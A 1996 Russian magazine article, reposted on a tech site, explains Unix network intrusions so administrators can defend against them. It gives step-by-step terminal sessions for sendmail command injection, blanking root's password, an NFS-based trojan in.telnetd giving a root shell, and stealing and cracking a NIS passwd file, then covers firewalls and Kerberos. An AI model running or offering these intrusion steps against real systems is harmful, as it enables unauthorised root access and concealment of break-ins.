Базы данныхИнтернетКомпьютерыОперационные системыПрограммированиеСетиСвязьРазное
Поиск по сайту:
Подпишись на рассылку:

Назад в раздел

Несанкционированный доступ - примеры вторжения.

С. Линде,

РНЦ Курчатовский Институт, lsu@kiae.su Основные методы получения несанкционированного доступа к Unix через сеть Борьба с возможностью анализа содержания IP-пакетов Заключение

Повышение интереса к TCP/IP сетям обусловлено бурным ростом сети Internet. Однако это заставляет задуматься над тем, как защитить свои информационные ресурсы и компьютеры от различного рода злоумышленников. Для того, чтобы разработать реально действующие контрмеры, необходимо знать способы и методы взломщиков. В мировом сообществе Internet уже давно ведется дискуссия о том публиковать или не публиковать материалы о методах проникновения в чужие компьютерные сети. После жарких обсуждений, похоже, была осознана необходимость полной открытости по этому вопросу. Статья основана на опыте администрирования сети при постоянных попытках взлома и методических указаниях CERT.

Задача данной статьи состоит в том, чтобы обратить внимание администраторов сетей, подключенных к Internet, на очевидные бреши в системе безопасности наиболее популярных систем. Кроме примеров взломов и возможных дыр, постараемся кратко описать основные средства борьбы с этим неизбежным злом. Учитывая тот факт, что большинство серверов на сети используют операционную систему Unix, обзор возможных прорех в системе безопасности имеет смысл начать именно с этой ОС.

Основные методы получения несанкционированного доступа к Unix через сеть

Начать обзор следует с возможности взлома через электронную почту. Для пересылки электронной почты по IP на подавляющем большинстве систем используется программа sendmail, разработанная в университете Беркли. Задуманная как чисто служебная утилита, эта программа приобрела огромную популярность и вошла в состав дистрибутива многих Unix-систем. Однако она содержала в себе очень серьезную ошибку, благодаря которой любой желающий имел возможность выполнить на удаленной машине команды с привилегиями суперпользователя. Обычно взломщики пытались отправить себе файл passwd для подбора паролей либо помещали свою информацию в файлы, использующиеся программами rlogin, rsh для запуска shell без запроса пароля (Пример 1).

ПРИМЕР 1Ћ
crack% telnet target.remote.com 25Ћ Connecting to 123.456.654.321.Ћ ! соединяемся по порту 25 - это SMTPЋ 220 sendmail SMI/4.3.5.2 readyЋ ! версия, которая как известно, содержит ошибку.Ћ helo xxxЋ 220 Helo xxx, ( crack.edu )Ћ mail from: |echo crack.edu/.rhosts@target.remote.comЋ ! подставляем команду вместо обратного адреса.Ћ 200 Sender ok.Ћ rcpt to: nosuchuserЋ ! вводим заранее неправильного адресатаЋ 500 nosuchuser: user unknownЋ ! несмотря на сообщение, продолжаем диалог.Ћ dataЋ 230 Enter mail, end with .Ћ 200 Mail acceptedЋ ! все, машина взломана....Ћ quitЋ crack% suЋ ! А теперь залезаем так, чтобы нас не было видно через whoЋ # rsh target.remote.com /bin/csh -iЋ Welcome to remote.com!Ћ Warning! No access to terminal, job control disabled!Ћ target#Ћ

Эта ошибка присутствует в нескольких десятках различных вариантов ОС Unix самых разных фирм. Кроме того, существуют и более простые способы при благоприятных условиях: удаленная машина Sun, система SunOS 4, NIS не запущен, система поставлена, и ничего не исправлялось (Пример 2).

ПРИМЕР 2Ћ
crack# su - binЋ $ rsh target.remote.com /bin/csh -iЋ ! В файле /etc/hosts.equiv есть запись + и ошибка...Ћ Welcome to remote.com!Ћ ! Каталог /etc с владельцем bin...Ћ Warning! No access to terminal, job control disabled!Ћ % ls -ldg /etcЋ drwxr-xr-x 10 bin bin 1536 Apr 10 01:45 /etc/Ћ % cd /etcЋ ! Делаем passwd доступным на запись нам...Ћ % mv passwd passwd.wasЋ % cp passwd.was passwdЋ ! РедактируемЋ % ed passwdЋ 2341Ћ 1pЋ root:Nkkh5gkljGyj:0:0:Root:/:/bin/cshЋ s/Nkkh5gkljGyj//pЋ root::0:0:Root:/:/bin/cshЋ wЋ 2341Ћ qЋ ! И в суперпользователя.Ћ %echo /bin/csh -i | su rootЋ Warning! No access to terminal, job control disabled!Ћ target# mv /etc/passwd.was /etc/passwdЋ ! Чтобы никто не обнаружил, что мы делали.Ћ

Кроме электронной почты в TCP/IP сетях очень широко применяются различные виды распределенных файловых систем, самой популярной из которых является Network File System (NFS).

В случае неаккуратного заполнения файла /etc/exports или использования дистрибутива с ошибкой (SunOS 4.1) может возникнуть следующая ситуация (Пример 3).

ПРИМЕР 3
crack% showmount -e target.remote.comЋ Export list for target.remote.comЋ /home EveryoneЋ /disk3 neptun pluton alphaЋ ! Домашние каталоги доступны по NFSЋ crack% suЋ # mount -t nfs target.remote.com:/home /mntЋ # cd /mntЋ ! Монтируем каталог к намЋ # ls -ldg *Ћ drwxr-xr-x 10 257 20 1536 Apr 10 01:45 user/Ћ # echo crack.eduЋ user/.rhostsЋ ! Устанавливаем .rhosts у пользователяЋ # catЋ /etc/passwdЋ user::257:20::/:Ћ ^DЋ ! Создаем такого же у насЋ # su - userЋ ! Становимся имЋ $ rsh target.remote.com /bin/csh -iЋ Warning! No access to terminal, job control disabled!Ћ ! И заходим на удаленную машинуЋ % idЋ uid=257(user) gid=20(stuff) groups=20(stuff), 7(sys)Ћ % ls -ldg /usr/etcЋ ! Каталог доступен на записьЋ drwxrwxr-x 10 bin bin 1536 Apr 10 01:45 /usr/etcЋ % grep telnet /etc/inetd.confЋ telnet stream nowait root /usr/etc/in.telnetd in.telnetdЋ ! Нашли программу, которая запуститсяЋ !под root"ом из нашего каталогаЋ % cd /usr/etcЋ % mv in.telnetd in.telnetd1Ћ ! создаем троянского коняЋ % catЋ in.telnetdЋ #!/bin/shЋ exec /bin/csh -iЋ ^DЋ % chmod 755 in.telnetdЋ ! и запускаем егоЋ % telnet 127.1Ћ Connecting 127.1.Ћ Warning! No access to terminal, job control disabled!Ћ # chown user /etc;Ћ ! Делаем /etc своимЋ ^M: command not foundЋ # exit;Ћ ^M: command not foundЋ Connection closed by foreign host.Ћ % cd /etcЋ ! и далее как раньше как в примере 1.Ћ .......Ћ

Если на машине работает NIS-сервер и не принято дополнительных мер, то с помощью специальной программы можно утащить по сети файл passwd, общий для некоторого числа машин. В случае несоблюдения правил при создании паролей, есть довольно приличная вероятность, что программа crack подберет несколько. Дальнейшие события могут разворачиваться по одному из сценариев для получения полномочий суперпользователя (Пример 4) (после того, как вы зашли на удаленную машину как пользователь).

ПРИМЕР 4Ћ
! проверяем на NIS серверЋ crack% rpcinfo -p target.remote.com | grep bindЋ 120000 2 udp 2493 ypbindЋ ! есть такой...Ћ crack% ypx -o target.passwd -g target.remote.comЋ ! забираем файл паролейЋ crack% crack target.passwdЋ ! и запускаем подборщик паролейЋ [ a lot of time ]Ћ OK, user user has password iamuserЋ ! нашли, заходимЋ crack% telnet target.remote.comЋ ! далее как в предыдущем примере.Ћ .....Ћ

Естественно, что если известны способы преодоления защиты, то должны быть разработаны и средства защиты. Для минимизации возможных попыток проникновения в сеть очень эффективен маршрутизатор, умеющий анализировать поток проходящей через него информации и осуществляющий фильтрацию пакетов. Эта возможность реализована практически во всех аппаратных маршрутизаторах (cisco, wellfleet...) и в виде специального ПО для Unix-машин (Sun, DEC, BSDI, FreeBSD). Такие маршрутизаторы позволяют осуществлять работу в сети строго по определенным правилам. Например, не пропускать из/в локальную сеть некоторые протоколы. Очень рекомендуется запрещать rlogin, rsh, RPC (см. Примеры), а также пакеты, направленные на порты 2048 и 2049, - это порты данных для NFS. Также рекомендуется четко определить машины, принимающие почту, и открыть порт 25 только для них. При необходимости возможна конфигурация, которая вообще запрещает какие-либо заходы по сети в локальную сеть, при этом разрешая изнутри использовать любые TCP-сервисы глобальной сети. Подобный маршрутизатор или комбинация из нескольких машин и фильтрующих маршрутизаторов получили название брандмауэр (от англ. firewall - стена огня). Для установления полного контроля за всеми соединениями можно использовать так называемый программный брандмауэр (software firewall). Он представляет собой своеобразный маршрутизатор, который осуществляет контроль за соединениями не на уровне IP-пакетов, а на уровне собственно контролируемых протоколов. В этом случае режим прозрачной пересылки пакетов выключен, но вместо программ, обеспечивающих работу с необходимыми протоколами (telnet, ftp...), запускаются программы, которые транслируют эти протоколы в сеть по другую сторону машины, обычно сверившись по базе данных на предмет правомерности такого соединения и после идентификации пользователя. Для пользователя такой брандмауэр выглядит единственным окном во внешний мир. Например, если в сети для того, чтобы зайти по ftp на машину arch.kiae.su, вам надо набрать:

% ftp arch.kiae.su Connected to arch.kiae.su Name: (arch.kiae.su: you) 230 Guest login ok, send ident as password Password: you@your.site 230 - Hello, user@our.workstation.our.company.com .....

то в случае программного брандмауэра надо набирать:

% ftp our-soft-firewall Name: (our-soft-firewall:user) ftp@arch.kiae.su Password: XXXXXXX Connected to arch.kiae.su Name: (arch.kiae.su: ftp) 230 Guest login ok, send ident as password Password: you@your.site 230 - Hello, user@our-sort-firewall.our.company.com .......

Аналогично работают telnet, rlogin, X11 и т.д.

Борьба с возможностью анализа содержания IP-пакетов

Все рассмотренные выше примеры относятся к так называемым активным методам. Аккуратное администрирование системы легко сводит на нет все рассмотренные дырки, но совершенно бессильно в случае применения пассивной атаки. Что это такое? Самый распространенный, простой в исполнении способ - анализ информации, передаваемой по каналам связи, преимущественно по сети Ethernet. Основан он на свойстве этой сети, благодаря которому каждый передаваемый пакет может быть проанализирован любой машиной, подключенной на этот сегмент сети. При наличии достаточно быстрой машины с адаптером, разрешающим работу в режиме приема всех пакетов, можно легко извлекать такую информацию, как пароли пакетов NFS. Если на этом сегменте расположено несколько маршрутизаторов, то в наш фильтр попадут не только пароли нашей сети, но и те, которыми обмениваются маршрутизаторы. Таким образом, за сравнительно короткое время можно собрать коллекцию паролей на нескольких сотнях машин.

Для борьбы с такими методами в конце 80-х годов была разработана система сетевой идентификации пользователя под названием Kerberos. Основной целью было полное исключение пересылки паролей по сети. Пользователь вводит пароль только один раз при регистрации в системе, после чего ему выделяется билет на несколько часов, который хранится в файле в зашифрованном виде. Этот билет содержит информацию о пользователе, время выдачи, адрес машины и случайно сгенерированный ключ для дальнейшего обмена идентификационной информацией. Первоначальным ключом служит пароль пользователя. Билет, выданный при входе в систему, используется для получения вторичных билетов, по которым может быть предоставлен какой-либо сетевой сервис. Со стороны сервера используется аналогичный механизм с той разницей, что в качестве пользователя выступает программа, обеспечивающая запрошенный вид услуги. Таким образом, программа пользователя и программа на сервере получают пару случайных ключей, с помощью которых они шифруют идентификационную информацию, прилагают к ней контрольные суммы и на этой основе удостоверяются в том, что они те, кем представились. После этого программа пользователя может получить доступ к сервису без запроса пароля. Без знания первоначальных ключей сеанс не состоится. Кроме того, полученная пара ключей может быть использована для шифрования всего сеанса работы по сети. Эта система имеет целый ряд недостатков. Во-первых, подразумевается четкое разделение машин на рабочие станции и серверы. В случае, если пользователь пожелает, зайдя на сервер, с помощью telnet зайти на другую машину, идентификация не сработает, так как пользователь имеет первоначальный билет только на той рабочей станции, где он вводил пароль. Иными словами, в Kerberos версии 4 полномочия пользователя не передаются на другие машины. Кроме того, требуется выделенная машина под сервер Kerberos, причем работающая в максимально секретных условиях, поскольку на ней содержится база данных, где содержатся все пароли пользователей. Kerberos версии 4 очень ограниченно применим в сети, где возможны ситуации, когда в силу ряда обстоятельств сервер Kerberos недоступен по сети (непредвиденные сбои в роутинге, ухудшение или обрыв связи и т.д.). Часть недостатков, перечисленных выше, ликвидирована в версии 5, но эта реализация запрещена к экспорту из США. По описанному алгоритму работают также системы Sphinx от DEC и NIS+ от Sun. Отличаются они применением различных алгоритмов шифрования, другого протокола передачи (RPC вместо UDP) и способов объединения административных доменов в иерархию.

Заключение

Кроме рассмотренных, существуют и другие, более изощренные, способы вторжения. Многие из них можно нейтрализовать простым аккуратным администрированием. По статистике большинство взломов осуществляется из-за халатности администраторов или персонала, эксплуатирующего систему. He откладывая в долгий ящик, проверьте перечисленные выше способы несанкционированного доступа - если удастся взломать ваш компьютер вам, то это могут сделать и другие.


 

Открытые Системы # 4(18)/96Ћ



  • Главная
  • Новости
  • Новинки
  • Скрипты
  • Форум
  • Ссылки
  • О сайте




  • Emanual.ru – это сайт, посвящённый всем значимым событиям в IT-индустрии: новейшие разработки, уникальные методы и горячие новости! Тонны информации, полезной как для обычных пользователей, так и для самых продвинутых программистов! Интересные обсуждения на актуальные темы и огромная аудитория, которая может быть интересна широкому кругу рекламодателей. У нас вы узнаете всё о компьютерах, базах данных, операционных системах, сетях, инфраструктурах, связях и программированию на популярных языках!
     Copyright © 2001-2024
    Реклама на сайте